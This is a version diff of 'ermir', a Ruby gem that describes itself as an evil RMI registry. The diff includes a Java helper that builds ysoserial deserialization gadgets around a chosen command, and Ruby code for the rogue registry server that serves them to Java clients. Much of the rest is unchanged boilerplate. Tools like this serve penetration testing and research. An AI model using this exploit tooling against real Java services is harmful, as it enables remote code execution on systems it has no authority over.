ermir 0.1.1 → 0.1.2

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 6b6619e86d16babbb612f54ed5ef9591f0126ecdeb96f1f045d088c0914c8f75
4
- data.tar.gz: 38aa4bf436587593cda76c291735814bc112a56854153e08616763a78632f030
3
+ metadata.gz: b19b0c81fb883eefd34c8bdb54e5cd97f69dc3a0771f3be1c4e9116122cc82a1
4
+ data.tar.gz: ddb7a82525a8e8da0594fac18bec4e49ae170ae885648a94a666fbe74cba6b97
5
5
  SHA512:
6
- metadata.gz: f8341bb0f078b93b42a207a84a0392ab014df7a51b315a90f43ac0d8d73ba5663f2c0da85d8112cfbe580b3d41b3493ed19031118e90a37f4333c40205cfa824
7
- data.tar.gz: aa8c74855ebffe5b5e3cf36714e5f034f27c96caac984bf3d555ead91633689c0e152b42ed7c68afe323f9bf5dfae851d7d739ccc795004c43ef79a16598f1c9
6
+ metadata.gz: 3e38c80be56b4d736e7fb64ce25e09046a70529931e6d2abca147b83e4ee7175e9f82cbfac3b3ff9bce1c9f1ad1715f8fb32bdbe55b8c6aeb827c7d6f6027c33
7
+ data.tar.gz: e89ca52226717ba6cdf89b44a5a8e6e0e17a873b494a20870446e46f7cd96d1c691568603488f21e78f844c6329e5b1314c5af0447c76b8590a86c89c6ef69f4
data/.rspec CHANGED
@@ -1,3 +1,3 @@
1
- --format documentation
2
- --color
3
- --require spec_helper
1
+ --format documentation
2
+ --color
3
+ --require spec_helper
data/CODE_OF_CONDUCT.md CHANGED
@@ -1,84 +1,84 @@
1
- # Contributor Covenant Code of Conduct
2
-
3
- ## Our Pledge
4
-
5
- We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
6
-
7
- We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community.
8
-
9
- ## Our Standards
10
-
11
- Examples of behavior that contributes to a positive environment for our community include:
12
-
13
- * Demonstrating empathy and kindness toward other people
14
- * Being respectful of differing opinions, viewpoints, and experiences
15
- * Giving and gracefully accepting constructive feedback
16
- * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience
17
- * Focusing on what is best not just for us as individuals, but for the overall community
18
-
19
- Examples of unacceptable behavior include:
20
-
21
- * The use of sexualized language or imagery, and sexual attention or
22
- advances of any kind
23
- * Trolling, insulting or derogatory comments, and personal or political attacks
24
- * Public or private harassment
25
- * Publishing others' private information, such as a physical or email
26
- address, without their explicit permission
27
- * Other conduct which could reasonably be considered inappropriate in a
28
- professional setting
29
-
30
- ## Enforcement Responsibilities
31
-
32
- Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful.
33
-
34
- Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
35
-
36
- ## Scope
37
-
38
- This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event.
39
-
40
- ## Enforcement
41
-
42
- Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at 67718634+hakivvi@users.noreply.github.com. All complaints will be reviewed and investigated promptly and fairly.
43
-
44
- All community leaders are obligated to respect the privacy and security of the reporter of any incident.
45
-
46
- ## Enforcement Guidelines
47
-
48
- Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
49
-
50
- ### 1. Correction
51
-
52
- **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community.
53
-
54
- **Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
55
-
56
- ### 2. Warning
57
-
58
- **Community Impact**: A violation through a single incident or series of actions.
59
-
60
- **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban.
61
-
62
- ### 3. Temporary Ban
63
-
64
- **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior.
65
-
66
- **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban.
67
-
68
- ### 4. Permanent Ban
69
-
70
- **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals.
71
-
72
- **Consequence**: A permanent ban from any sort of public interaction within the community.
73
-
74
- ## Attribution
75
-
76
- This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0,
77
- available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
78
-
79
- Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity).
80
-
81
- [homepage]: https://www.contributor-covenant.org
82
-
83
- For answers to common questions about this code of conduct, see the FAQ at
84
- https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations.
1
+ # Contributor Covenant Code of Conduct
2
+
3
+ ## Our Pledge
4
+
5
+ We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
6
+
7
+ We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community.
8
+
9
+ ## Our Standards
10
+
11
+ Examples of behavior that contributes to a positive environment for our community include:
12
+
13
+ * Demonstrating empathy and kindness toward other people
14
+ * Being respectful of differing opinions, viewpoints, and experiences
15
+ * Giving and gracefully accepting constructive feedback
16
+ * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience
17
+ * Focusing on what is best not just for us as individuals, but for the overall community
18
+
19
+ Examples of unacceptable behavior include:
20
+
21
+ * The use of sexualized language or imagery, and sexual attention or
22
+ advances of any kind
23
+ * Trolling, insulting or derogatory comments, and personal or political attacks
24
+ * Public or private harassment
25
+ * Publishing others' private information, such as a physical or email
26
+ address, without their explicit permission
27
+ * Other conduct which could reasonably be considered inappropriate in a
28
+ professional setting
29
+
30
+ ## Enforcement Responsibilities
31
+
32
+ Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful.
33
+
34
+ Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
35
+
36
+ ## Scope
37
+
38
+ This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event.
39
+
40
+ ## Enforcement
41
+
42
+ Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at 67718634+hakivvi@users.noreply.github.com. All complaints will be reviewed and investigated promptly and fairly.
43
+
44
+ All community leaders are obligated to respect the privacy and security of the reporter of any incident.
45
+
46
+ ## Enforcement Guidelines
47
+
48
+ Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
49
+
50
+ ### 1. Correction
51
+
52
+ **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community.
53
+
54
+ **Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
55
+
56
+ ### 2. Warning
57
+
58
+ **Community Impact**: A violation through a single incident or series of actions.
59
+
60
+ **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban.
61
+
62
+ ### 3. Temporary Ban
63
+
64
+ **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior.
65
+
66
+ **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban.
67
+
68
+ ### 4. Permanent Ban
69
+
70
+ **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals.
71
+
72
+ **Consequence**: A permanent ban from any sort of public interaction within the community.
73
+
74
+ ## Attribution
75
+
76
+ This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0,
77
+ available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
78
+
79
+ Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity).
80
+
81
+ [homepage]: https://www.contributor-covenant.org
82
+
83
+ For answers to common questions about this code of conduct, see the FAQ at
84
+ https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations.
data/Gemfile CHANGED
@@ -1,10 +1,10 @@
1
- # frozen_string_literal: true
2
-
3
- source "https://rubygems.org"
4
-
5
- # Specify your gem's dependencies in ermir.gemspec
6
- gemspec
7
-
8
- gem "rake", "~> 13.0"
9
-
10
- gem "rspec", "~> 3.0"
1
+ # frozen_string_literal: true
2
+
3
+ source "https://rubygems.org"
4
+
5
+ # Specify your gem's dependencies in ermir.gemspec
6
+ gemspec
7
+
8
+ gem "rake", "~> 13.0"
9
+
10
+ gem "rspec", "~> 3.0"
data/Gemfile.lock CHANGED
@@ -1,38 +1,38 @@
1
- PATH
2
- remote: .
3
- specs:
4
- ermir (0.1.0)
5
- colorize (~> 0.8.1)
6
- slop (~> 4.9.2)
7
-
8
- GEM
9
- remote: https://rubygems.org/
10
- specs:
11
- colorize (0.8.1)
12
- diff-lcs (1.5.0)
13
- rake (13.0.6)
14
- rspec (3.11.0)
15
- rspec-core (~> 3.11.0)
16
- rspec-expectations (~> 3.11.0)
17
- rspec-mocks (~> 3.11.0)
18
- rspec-core (3.11.0)
19
- rspec-support (~> 3.11.0)
20
- rspec-expectations (3.11.0)
21
- diff-lcs (>= 1.2.0, < 2.0)
22
- rspec-support (~> 3.11.0)
23
- rspec-mocks (3.11.1)
24
- diff-lcs (>= 1.2.0, < 2.0)
25
- rspec-support (~> 3.11.0)
26
- rspec-support (3.11.0)
27
- slop (4.9.2)
28
-
29
- PLATFORMS
30
- x64-mingw32
31
-
32
- DEPENDENCIES
33
- ermir!
34
- rake (~> 13.0)
35
- rspec (~> 3.0)
36
-
37
- BUNDLED WITH
38
- 2.3.15
1
+ PATH
2
+ remote: .
3
+ specs:
4
+ ermir (0.1.1)
5
+ colorize (~> 0.8.1)
6
+ slop (~> 4.9.2)
7
+
8
+ GEM
9
+ remote: https://rubygems.org/
10
+ specs:
11
+ colorize (0.8.1)
12
+ diff-lcs (1.5.0)
13
+ rake (13.0.6)
14
+ rspec (3.11.0)
15
+ rspec-core (~> 3.11.0)
16
+ rspec-expectations (~> 3.11.0)
17
+ rspec-mocks (~> 3.11.0)
18
+ rspec-core (3.11.0)
19
+ rspec-support (~> 3.11.0)
20
+ rspec-expectations (3.11.0)
21
+ diff-lcs (>= 1.2.0, < 2.0)
22
+ rspec-support (~> 3.11.0)
23
+ rspec-mocks (3.11.1)
24
+ diff-lcs (>= 1.2.0, < 2.0)
25
+ rspec-support (~> 3.11.0)
26
+ rspec-support (3.11.0)
27
+ slop (4.9.2)
28
+
29
+ PLATFORMS
30
+ x64-mingw32
31
+
32
+ DEPENDENCIES
33
+ ermir!
34
+ rake (~> 13.0)
35
+ rspec (~> 3.0)
36
+
37
+ BUNDLED WITH
38
+ 2.3.15
data/LICENSE.txt CHANGED
@@ -1,21 +1,21 @@
1
- The MIT License (MIT)
2
-
3
- Copyright (c) 2022 hakivvi
4
-
5
- Permission is hereby granted, free of charge, to any person obtaining a copy
6
- of this software and associated documentation files (the "Software"), to deal
7
- in the Software without restriction, including without limitation the rights
8
- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
- copies of the Software, and to permit persons to whom the Software is
10
- furnished to do so, subject to the following conditions:
11
-
12
- The above copyright notice and this permission notice shall be included in
13
- all copies or substantial portions of the Software.
14
-
15
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
- THE SOFTWARE.
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2022 hakivvi
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in
13
+ all copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
data/Rakefile CHANGED
@@ -1,8 +1,8 @@
1
- # frozen_string_literal: true
2
-
3
- require "bundler/gem_tasks"
4
- require "rspec/core/rake_task"
5
-
6
- RSpec::Core::RakeTask.new(:spec)
7
-
8
- task default: :spec
1
+ # frozen_string_literal: true
2
+
3
+ require "bundler/gem_tasks"
4
+ require "rspec/core/rake_task"
5
+
6
+ RSpec::Core::RakeTask.new(:spec)
7
+
8
+ task default: :spec
data/bin/gadgetmarshal CHANGED
@@ -1,5 +1,5 @@
1
1
  #!/usr/bin/env ruby
2
- # frozen_string_literal: tru
2
+ # frozen_string_literal: true
3
3
  require 'open3'
4
4
  require 'pathname'
5
5
 
@@ -27,20 +27,20 @@ public class GadgetMarshaller {
27
27
 
28
28
  URLClassLoader ysoserialLoader = new URLClassLoader(new URL[] {new File(ysoserial_path).toURI().toURL()}, GadgetMarshaller.class.getClassLoader());
29
29
 
30
- Class<?> payloadUtils = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ysoserialLoader);
31
- Method getPayloadClassMethod = payloadUtils.getDeclaredMethod("getPayloadClass", String.class);
32
- Class<?> objectPayload = (Class<?>) getPayloadClassMethod.invoke(null, gadgetName);
30
+ Class<?> objectPayloadUtilsClazz = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ysoserialLoader);
31
+ Method getPayloadClassMethod = objectPayloadUtilsClazz.getDeclaredMethod("getPayloadClass", String.class);
32
+ Class<?> gadgetClazz = (Class<?>) getPayloadClassMethod.invoke(null, gadgetName);
33
33
 
34
- Class<?> payloadObjectClazz = Class.forName("ysoserial.payloads.ObjectPayload", true, ysoserialLoader);
35
- Method getObjectMethod = payloadObjectClazz.getDeclaredMethod("getObject", String.class);
36
- Object gadget = getObjectMethod.invoke(objectPayload.getDeclaredConstructor().newInstance(), cmd);
34
+ Class<?> objectPayloadClazz = Class.forName("ysoserial.payloads.ObjectPayload", true, ysoserialLoader);
35
+ Method getObjectMethod = objectPayloadClazz.getDeclaredMethod("getObject", String.class);
36
+ Object gadget = getObjectMethod.invoke(gadgetClazz.getDeclaredConstructor().newInstance(), cmd);
37
37
 
38
38
  MarshalOutputStream mos;
39
39
  try {
40
40
  mos = new MarshalOutputStream((outFile == null) ? System.out : new FileOutputStream(outFile));
41
41
  mos.writeObject(gadget);
42
- mos.close();
43
42
  mos.flush();
43
+ mos.close();
44
44
  } catch (FileNotFoundException e) {
45
45
  System.out.println("Error: output file path was not found.");
46
46
  }
@@ -58,4 +58,4 @@ public class GadgetMarshaller {
58
58
  annotateClass(cl);
59
59
  }
60
60
  }
61
- }
61
+ }
@@ -22,22 +22,22 @@ module Ermir
22
22
  return
23
23
  end
24
24
  Utils.print_rmi_transport_msg("received a valid RMI protocol header.", @peeraddr)
25
-
26
- @socket.putc(TransportConstants::PROTOCOL_ACK)
27
- @socket.write([@peeraddr[-1].size].pack("S>"))
28
- @socket.write(@peeraddr[-1])
29
- @socket.write([@peeraddr[1]].pack("L>"))
30
- Utils.print_rmi_transport_msg("sent acknowledgement of the RMI connection to the remote peer.", @peeraddr)
31
-
32
- len = @socket.read(2).unpack("S>")[0]
33
- rmi_server_ip = @socket.read(len)
34
- rmi_server_port = @socket.read(4).unpack("L>")[0]
35
- if rmi_server_port.zero?
36
- Utils.print_rmi_transport_msg("the remote peer is an RMI Client.", @peeraddr)
25
+ case @socket.getbyte
26
+ when TransportConstants::STREAM_PROTOCOL
27
+ @socket.putc(TransportConstants::PROTOCOL_ACK)
28
+ @socket.write([@peeraddr[-1].size].pack("S>"))
29
+ @socket.write(@peeraddr[-1])
30
+ @socket.write([@peeraddr[1]].pack("L>"))
31
+ Utils.print_rmi_transport_msg("sent acknowledgement of the RMI connection to the remote peer.", @peeraddr)
32
+
33
+ # read and discard the endpoint
34
+ len = @socket.read(2).unpack("S>")[0]
35
+ rmi_server_ip = @socket.read(len)
36
+ rmi_server_port = @socket.read(4).unpack("L>")[0]
37
+ when TransportConstants::SINGLE_OP_PROTOCOL
37
38
  else
38
- Utils.print_rmi_transport_msg("the remote peer is an RMI Server, listening for remote invocations @ #{rmi_server_ip}:#{rmi_server_port}.", @peeraddr)
39
+ Utils.print_rmi_transport_msg("received an invalid RMI protocol type.", @peeraddr, "red")
39
40
  end
40
-
41
41
  unless rmi_message_valid?
42
42
  Utils.print_rmi_transport_msg("received an invalid RMI message.", @peeraddr, "red")
43
43
  return
@@ -51,11 +51,15 @@ module Ermir
51
51
  Utils.print_rmi_transport_msg("received an incorrect Registry interface hash.", @peeraddr, "red")
52
52
  return
53
53
  end
54
-
55
- ret = self.send("handle_#{TransportConstants::OPS[op]}")
56
- if ret.is_a?(String)
57
- Utils.print_rmi_transport_msg("error: #{ret}.", @peeraddr, "red")
54
+ if (0..4).include?(op)
55
+ ret = self.send("handle_#{TransportConstants::OPS[op]}")
56
+ if ret.is_a?(String)
57
+ Utils.print_rmi_transport_msg("error: #{ret}.", @peeraddr, "red")
58
+ end
59
+ else
60
+ Utils.print_rmi_transport_msg("error: received an invalid RMI CALL OP.", @peeraddr, "red")
58
61
  end
62
+
59
63
  end
60
64
 
61
65
  def close_connection!
@@ -65,8 +69,7 @@ module Ermir
65
69
  private
66
70
  def rmi_header_valid?
67
71
  @socket.read(4).unpack("L>")[0].eql?(TransportConstants::MAGIC) \
68
- && @socket.read(2).unpack("S>")[0].eql?(TransportConstants::VERSION) \
69
- && @socket.getbyte.eql?(TransportConstants::STREAM_PROTOCOL)
72
+ && @socket.read(2).unpack("S>")[0].eql?(TransportConstants::VERSION)
70
73
  end
71
74
 
72
75
  def rmi_message_valid?
@@ -99,8 +102,10 @@ module Ermir
99
102
  end
100
103
  bind_key_size = @socket.read(2).unpack("S>")[0]
101
104
  bind_key = @socket.read(bind_key_size)
102
- if @socket.getbyte.eql?(TransportConstants::TC_OBJECT)
103
- if @socket.getbyte.eql?(TransportConstants::TC_PROXYCLASSDESC)
105
+ case @socket.getbyte
106
+ when TransportConstants::TC_OBJECT
107
+ case @socket.getbyte
108
+ when TransportConstants::TC_PROXYCLASSDESC
104
109
  interfaces_count = @socket.read(4).unpack("L>")[0]
105
110
  implemented_interfaces = []
106
111
  interfaces_count.times do
@@ -109,13 +114,24 @@ module Ermir
109
114
  implemented_interfaces << @socket.read(interface_name_size)
110
115
  end
111
116
  if implemented_interfaces[0] == "java.rmi.Remote"
112
- Utils.print_rmi_transport_msg("Ermir.#{rebind && 're'}bind(#{bind_key.inspect}, new <class (?) implements #{implemented_interfaces[1]}>()) was called by the remote peer.", @peeraddr)
117
+ Utils.print_rmi_transport_msg("Ermir.#{rebind && 're' || ''}bind(#{bind_key.inspect}, new <class (?) implements #{implemented_interfaces[1]}>()) was called by the remote peer.", @peeraddr)
113
118
  else
114
- Utils.print_rmi_transport_msg("Ermir.#{rebind && 're'}bind(#{bind_key.inspect}, <java.lang.reflect.Proxy handling <#{implemented_interfaces*', '}> interfaces>) was called by the remote peer.", @peeraddr)
119
+ Utils.print_rmi_transport_msg("Ermir.#{rebind && 're' || ''}bind(#{bind_key.inspect}, <java.lang.reflect.Proxy handling <#{implemented_interfaces*', '}> interfaces>) was called by the remote peer.", @peeraddr)
120
+ end
121
+ when TransportConstants::TC_CLASSDESC
122
+ class_name_size = @socket.read(2).unpack("S>")[0]
123
+ return "the received class name length exceeds the max length" if class_name_size > 100
124
+ class_name = @socket.read(class_name_size)
125
+ if class_name == "com.sun.jndi.rmi.registry.ReferenceWrapper_Stub"
126
+ Utils.print_rmi_transport_msg("Ermir.#{rebind && 're' || ''}bind(#{bind_key.inspect}, Reference(\"className\")) was called by the remote peer.", @peeraddr)
127
+ else
128
+ Utils.print_rmi_transport_msg("Ermir.#{rebind && 're' || ''}bind(#{bind_key.inspect}, #{class_name}) was called by the remote peer.", @peeraddr)
115
129
  end
116
130
  else
117
- return "received a corrupted RMI message body"
131
+ return "received a corrupted/unimplemented RMI message body"
118
132
  end
133
+ else
134
+ return "received an corrupted/unimplemented object"
119
135
  end
120
136
  write_return_block normal_return: false
121
137
  write_object
data/lib/ermir/version.rb CHANGED
@@ -1,4 +1,4 @@
1
1
  # frozen_string_literal: true
2
2
  module Ermir
3
- VERSION = "0.1.1"
3
+ VERSION = "0.1.2"
4
4
  end
data/lib/ermir.rb CHANGED
@@ -1,42 +1,42 @@
1
- require_relative 'ermir/argv_parser'
2
- require_relative 'ermir/utils'
3
- require_relative 'ermir/evil_registry'
4
- require 'socket'
5
- require 'colorize'
6
-
7
- module Ermir
8
- Signal.trap('INT') do
9
- Ermir::Utils.print_time_msg("execution interrupted by the user, exiting..", :red)
10
- exit 130
11
- end
12
-
13
- def self.run
14
- host, port, gadget = ArgvParser.parse_argv!
15
- begin
16
- server = TCPServer.new(host, port)
17
- Utils.print_time_msg("Ermir started listening for RMI calls at #{server.addr[-1]}:#{server.addr[1]}.", :light_yellow)
18
- loop do
19
- Thread.fork(server.accept) do |socket|
20
- peer = [socket.peeraddr[-1], socket.peeraddr[1]]
21
- Utils.print_time_msg("connection received from #{peer[0]}:#{peer[1]}.")
22
-
23
- begin
24
- registry = EvilRegistry.new(socket, gadget)
25
- registry.handle_connection!
26
- registry.close_connection!
27
- rescue SystemCallError => e
28
- Utils.error_and_abort!(e.to_s, "RMI Registry")
29
- end
30
-
31
- Utils.print_time_msg("closed the connection to #{peer[0]}:#{peer[1]}.")
32
- end
33
- end
34
- rescue SystemCallError => e
35
- if Errno.const_defined?(e.class.to_s.split("::").last || e.class.name)
36
- Utils.error_and_abort!(e.to_s, "TCP Server Binding")
37
- else
38
- Utils.error_and_abort!("something went wrong.", "TCP Server Binding", e.to_s)
39
- end
40
- end
41
- end
1
+ require_relative 'ermir/argv_parser'
2
+ require_relative 'ermir/utils'
3
+ require_relative 'ermir/evil_registry'
4
+ require 'socket'
5
+ require 'colorize'
6
+
7
+ module Ermir
8
+ Signal.trap('INT') do
9
+ Ermir::Utils.print_time_msg("execution interrupted by the user, exiting..", :red)
10
+ exit 130
11
+ end
12
+
13
+ def self.run
14
+ host, port, gadget = ArgvParser.parse_argv!
15
+ begin
16
+ server = TCPServer.new(host, port)
17
+ Utils.print_time_msg("Ermir started listening for RMI calls at #{server.addr[-1]}:#{server.addr[1]}.", :light_yellow)
18
+ loop do
19
+ Thread.fork(server.accept) do |socket|
20
+ peer = [socket.peeraddr[-1], socket.peeraddr[1]]
21
+ Utils.print_time_msg("connection received from #{peer[0]}:#{peer[1]}.")
22
+
23
+ begin
24
+ registry = EvilRegistry.new(socket, gadget)
25
+ registry.handle_connection!
26
+ registry.close_connection!
27
+ rescue SystemCallError => e
28
+ Utils.error_and_abort!(e.to_s, "RMI Registry")
29
+ end
30
+
31
+ Utils.print_time_msg("closed the connection to #{peer[0]}:#{peer[1]}.")
32
+ end
33
+ end
34
+ rescue SystemCallError => e
35
+ if Errno.const_defined?(e.class.to_s.split("::").last || e.class.name)
36
+ Utils.error_and_abort!(e.to_s, "TCP Server Binding")
37
+ else
38
+ Utils.error_and_abort!("something went wrong.", "TCP Server Binding", e.to_s)
39
+ end
40
+ end
41
+ end
42
42
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: ermir
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.1
4
+ version: 0.1.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - hakivvi
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2022-06-16 00:00:00.000000000 Z
11
+ date: 2023-02-07 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: slop
@@ -56,7 +56,6 @@ files:
56
56
  - Rakefile
57
57
  - bin/ermir
58
58
  - bin/gadgetmarshal
59
- - ermir.gemspec
60
59
  - helpers/gadgetmarshaller/GadgetMarshaller.java
61
60
  - lib/ermir.rb
62
61
  - lib/ermir/argv_parser.rb
data/ermir.gemspec DELETED
@@ -1,37 +0,0 @@
1
- # frozen_string_literal: true
2
- require_relative "lib/ermir/version"
3
-
4
- Gem::Specification.new do |spec|
5
- spec.name = "ermir"
6
- spec.version = Ermir::VERSION
7
- spec.authors = "hakivvi"
8
- spec.email = "hakivvi@gmail.com"
9
-
10
- spec.summary = "Ermir is an Evil RMI Registry."
11
- spec.description = "Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it (list()/lookup()/bind()/rebind()/unbind())."
12
- spec.homepage = "https://github.com/hakivvi/ermir"
13
- spec.license = "MIT"
14
- spec.required_ruby_version = ">= 3.0.0"
15
-
16
- spec.metadata["homepage_uri"] = spec.homepage
17
- spec.metadata["source_code_uri"] = spec.homepage
18
- spec.metadata["changelog_uri"] = spec.homepage
19
-
20
- # Specify which files should be added to the gem when it is released.
21
- # The `git ls-files -z` loads the files in the RubyGem that have been added into git.
22
- spec.files = Dir.chdir(__dir__) do
23
- `git ls-files -z`.split("\x0").reject do |f|
24
- (f == __FILE__) || f.match(%r{\A(?:(?:bin|test|spec|features)/|\.(?:git|travis|circleci)|appveyor)})
25
- end
26
- end
27
- spec.bindir = "bin"
28
- spec.executables << spec.name.downcase << "gadgetmarshal"
29
- spec.require_paths = ["lib"]
30
-
31
- # Uncomment to register a new dependency of your gem
32
- spec.add_dependency 'slop', '~> 4.9.2'
33
- spec.add_dependency 'colorize', '~> 0.8.1'
34
-
35
- # For more information and examples about making a new gem, check out our
36
- # guide at: https://bundler.io/guides/creating_gem.html
37
- end